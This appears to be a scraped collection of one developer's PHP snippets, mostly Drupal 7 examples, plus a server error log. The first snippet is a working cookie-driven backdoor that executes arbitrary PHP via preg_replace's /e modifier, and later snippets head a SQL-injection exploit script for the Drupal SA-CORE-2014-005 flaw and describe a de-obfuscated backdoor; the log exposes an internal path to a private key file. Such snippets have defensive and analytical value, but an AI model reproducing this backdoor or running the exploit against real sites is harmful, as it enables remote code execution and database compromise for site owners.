MKorostoff

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

MKorostoff

<?php
/**
 * @author Matt Korostoff <mkorostoff@gmail.com>
 *
 * @copyright Licensed under the GNU General Public License as published by the Free
 * Software Foundation, either version 3 of the License, or (at your option)
 * any later version.  http://www.gnu.org/licenses/
 *
 * @usage php path/to/this/file.php 'http://example.com'
 */

MKorostoff

<?php
/**
 * The contents of $sql will be injected into a Drupal site located at $url
 *
 * @usage
 * php /path/to/this/file.php 'http://example.com' 'SELECT * FROM node'
 * 
 * Based on http://www.exploit-db.com/exploits/34993/ by Dustin Dorr
 */
$url = $argv[1];

MKorostoff

<?php
protected function expandArguments(&$query, &$args) {
    $modified = FALSE;

    // If the placeholder value to insert is an array, assume that we need
    // to expand it out into a comma-delimited set of placeholders.
    foreach (array_filter($args, 'is_array') as $key => $data) {
      $new_keys = array();
      foreach ($data as $i => $value) {
        // This assumes that there are no other placeholders that use the same

MKorostoff

<?php
/**
 * @file
 *   A de-obfuscated version of the file used by some attackers to install
 *   backdoors on drupal sites, using the Drupal SA-CORE-2014-005 vulnerabilty.
 *
 * @usage
 *   Runs any php code supplied by the user as a base64_encoded string in a
 *   cookie.
 *

MKorostoff

WD Apache Solr: HTTP Status: 0; Message: Request failed: Connection refused; Response: ; Request: [error]
Unknown; Caller: call_user_func_array() (line Unknown of Unknown)
WD Apache Solr: HTTP 0; Request failed: Connection refused in apachesolr_cron                     [error]
WD Apache Solr: No Solr instance available during indexing.                                       [error]
Enter PEM pass phrase:
stream_socket_client(): Unable to set private key file                                            [warning]
`/mnt/gfs/nbcupowertest/sites/default/files/files-private/apns-development-e222ab56e6.pem'
push_notifications.module:947
stream_socket_client(): failed to create an SSL handle push_notifications.module:947              [warning]
stream_socket_client(): Failed to enable crypto push_notifications.module:947                     [warning]

MKorostoff

<?php
//Drupal 7
print l('Hello world', 'node/1');
//prints <a href="/path/to/node/alias">Hello world</a>

MKorostoff

<?php
//drupal 7
$node = node_load(1);
print $node->created; //prints "1415659696"

MKorostoff

<?php
//drupal 7
$node = menu_get_object();

MKorostoff

<?php

//DRUPAL 7 VERSION; DO NOT USE FOR DRUPAL 8
$query = new EntityFieldQuery();
$next = $query->propertyCondition('created', $created_time, '>')
  ->entityCondition('bundle', 'article')
  ->propertyOrderBy('created', 'ASC')
  ->range(0, 1)
  ->execute();
//DRUPAL 7 VERSION; DO NOT USE FOR DRUPAL 8